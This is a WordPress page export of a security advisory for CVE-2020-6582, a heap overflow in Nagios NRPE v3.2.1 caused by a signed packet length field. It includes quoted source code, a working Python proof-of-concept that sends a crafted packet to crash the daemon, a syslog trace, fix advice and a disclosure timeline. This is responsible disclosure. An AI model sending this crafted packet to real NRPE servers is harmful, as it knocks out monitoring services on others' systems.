{"id":16657,"date":"2021-07-08T13:43:46","date_gmt":"2021-07-08T11:43:46","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2020-0001\/"},"modified":"2021-07-19T14:14:11","modified_gmt":"2021-07-19T12:14:11","slug":"usd-2020-0001","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2020-0001\/","title":{"rendered":"usd-2020-0001"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2020-0001 (CVE-2020-6582) | Nagios NRPE v.3.2.1<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2020-0001<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2020-6582<\/span><br \/><strong>Affected Product<\/strong><span>: Nagios NRPE<\/span><br \/><strong>Affected Version<\/strong><span>: v.3.2.1<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Memory Corruption (Heap Overflow)<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/www.nagios.org\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.nagios.org\/<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Fixed in v.4.0.0 (not verified)<\/span><\/p>\n<h3><\/h3>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>NRPE allows currently two different packet formats: v2 and v3. The v3 packet format is defined like this:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]typedef struct _v3_packet {<br \/>\nint16_t                             packet_version;<br \/>\nint16_t                             packet_type;<br \/>\nu_int32_t                           crc32_value;<br \/>\nint16_t                             result_code;<br \/>\nint16_t                             alignment;<br \/>\nint32_t                             buffer_length;<br \/>\nchar                                buffer[1];<br \/>\n} v3_packet;<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>Where the member <strong>buffer<\/strong> is only a placeholder and gets replaced with the actual payload during processing. The member <strong>buffer_length<\/strong>\u00a0describes the corresponding length of the real payload buffer.<\/p>\n<p>Notice that <strong>buffer_length<\/strong> is of type <strong>int32_t<\/strong>, which is a signed integer type. This allows NRPE v3 packets to contain a negative buffer length and for our POC we craft a packet with a buffer length of <strong>-19<\/strong>.<\/p>\n<p>When the NRPE daemon receives a packet, the <strong>read_packet<\/strong>\u00a0function is called. This function reads the first structure members and finally allocates memory for the NRPE v3 packet. The interesting part of the code looks like this:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]  \/\/ file: src\/nrpe.c  lines: 2039 to 2044<br \/>\nbuffer_size = ntohl(buffer_size);<br \/>\npkt_size += buffer_size;<br \/>\nif ((*v3_pkt = calloc(1, pkt_size)) == NULL) {<br \/>\nlogit(LOG_ERR, \"Error: (use_ssl == false): Could not allocate memory for packet\");<br \/>\nreturn -1;<br \/>\n}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>So the daemon fetches the <\/span><strong>buffer_size<\/strong><span> from our crafted packet (which is -19) and adds it to the <\/span><strong>pkt_size<\/strong><span>, which is<\/span><br \/><span>previously initialized like this:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]  \/\/ file: src\/nrpe.c   line: 2023<br \/>\nint32_t   pkt_size = sizeof(v3_packet) - 1; \/\/ results in: pkt_size = 19<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>Obviously, the resulting <strong>pkt_size<\/strong> is zero and lead to a call to <strong>calloc(1, 0)<\/strong>, a zero memory allocation.<\/p>\n<p>A zero memory allocation is already a bad thing, since the C specification does not define a default behavior for this case<br \/>and the behavior of the program becomes implementation dependent. However, most implementation will return a pointer to<br \/>allocated memory of the minimal heap chunk size, which is 16 bytes for 32 bit and 32 byte for 64 bit operating systems.<br \/>This is good news for NRPE, since the following actions will not lead to a heap overflow:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c   line: 2046 to 2048<br \/>\nmemcpy(*v3_pkt, v2_pkt, common_size);<br \/>\n(*v3_pkt)-&amp;gt;buffer_length = htonl(buffer_size);<br \/>\nbuff_ptr = (*v3_pkt)-&amp;gt;buffer;<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>The <\/span><strong>common_size<\/strong><span>\u00a0is only 10 and therefore only ten attacker controlled bytes will be copied to the allocated memory, which does<\/span><br \/><span>not trigger a heap overflow. However, after these operations, the following function call is made:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/nrpe.c   line: 2051 to 2052<br \/>\nbytes_to_recv = buffer_size;<br \/>\nrc = recvall(sock, buff_ptr, &amp;amp;bytes_to_recv, socket_timeout);<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>This function call is responsible for receiving the rest of the NRPE v3 packet (the buffer) over the network. As one can see, it uses<br \/><strong>buff_ptr<\/strong> (the pointer to our calloc(1,0) allocation) and <strong>bytes_to_recv<\/strong>, which is the previously transmitted buffer size of <strong>-19<\/strong>.<br \/>This function call is potentially dangerous, since inside a call to functions like <strong>recv<\/strong>, a value of <strong>-19<\/strong>\u00a0will be converted to an<br \/>unsigned integer, and therefore a large amount of network traffic could be read and copied into the small allocated buffer.<\/p>\n<p>However, in the case of NRPE it will only cause the current thread to crash. The reason is, that <strong>recvall<\/strong>\u00a0does make the following call<br \/>before fetching data over the network:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] \/\/ file: src\/utils.c   line: 410 to 418<br \/>\nint recvall(int s, char *buf, int *len, int timeout) {<br \/>\n[...]<br \/>\nbzero(buf, *len);<br \/>\n[...]<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p>The function <strong>bzero<\/strong> is called with our small allocated buffer and the length of <strong>-19<\/strong>. Also for <strong>bzero<\/strong>, the value of <strong>-19<\/strong>\u00a0is converted<br \/>to an unsigned integer and becomes a huge number. Therefore, <strong>bzero<\/strong>\u00a0will overflow the heap and try to zero out unmapped virtual memory<br \/>segments. This crashes the current thread.<\/p>\n<p>The following python script can produce such a crash:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]    #!\/usr\/bin\/env python3<br \/>\nimport sys<br \/>\nimport struct<br \/>\nimport socket<\/p>\n<p>HOST = '127.0.0.1'<br \/>\nPORT = 5666<\/p>\n<p>buf  = b''<br \/>\nbuf += struct.pack(\"&amp;gt;h\", 3)<br \/>\nbuf += struct.pack(\"&amp;gt;h\", 1)<br \/>\nbuf += struct.pack(\"&amp;gt;i\", 0)<br \/>\nbuf += struct.pack(\"&amp;gt;h\", 0)<br \/>\nbuf += struct.pack(\"&amp;gt;h\", 0)<br \/>\nbuf += struct.pack(\"&amp;gt;I\", 4294967280)<br \/>\nbuf += b'junk'<\/p>\n<p>with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br \/>\ns.connect((HOST, PORT))<br \/>\ns.sendall(buf)<br \/>\ndata = s.recv(1024)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>After execution, one can check the syslog and will see the following segfault:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"||27px||false|false\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n<p>[1848.124323] nrpe[2212]: segfault at 55603f7cb000 ip 00007f4d56b8c7f7 sp 00007fff8e7af748 error 6 in libc-2.29.so[7f4d56a52000+147000]<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>The buffer_length should be transmitted as an unsigned integer. Furthermore, one needs to implement checks to prevent an inter overflow attack.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2020-01-06 Tobias Neitzel found this vulnerability by manual code review of Nagios NRPE<\/li>\n<li>2020-01-08 Initial Contact<\/li>\n<li>2020-01-15 Nagios NRPE v4.0.0 is released: <a href=\"https:\/\/github.com\/NagiosEnterprises\/nrpe\/releases\/tag\/nrpe-4.0.0\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/NagiosEnterprises\/nrpe\/releases\/tag\/nrpe-4.0.0<\/a><\/li>\n<li>2020-03-04 <span>Security advisory released<\/span><\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was discovered by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2020-0001 (CVE-2020-6582) | Nagios NRPE v.3.2.1 Advisory ID: usd-2020-0001CVE Number: CVE-2020-6582Affected Product: Nagios NRPEAffected Version: v.3.2.1Vulnerability Type: Memory Corruption (Heap Overflow)Security Risk: MediumVendor URL: https:\/\/www.nagios.org\/Vendor Status: Fixed in v.4.0.0 (not verified) Proof of Concept (PoC) NRPE allows currently two different packet formats: v2 and v3. The v3 packet format is defined like this:typedef struct _v3_packet [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16657","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16657","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16657"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16657\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16657"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}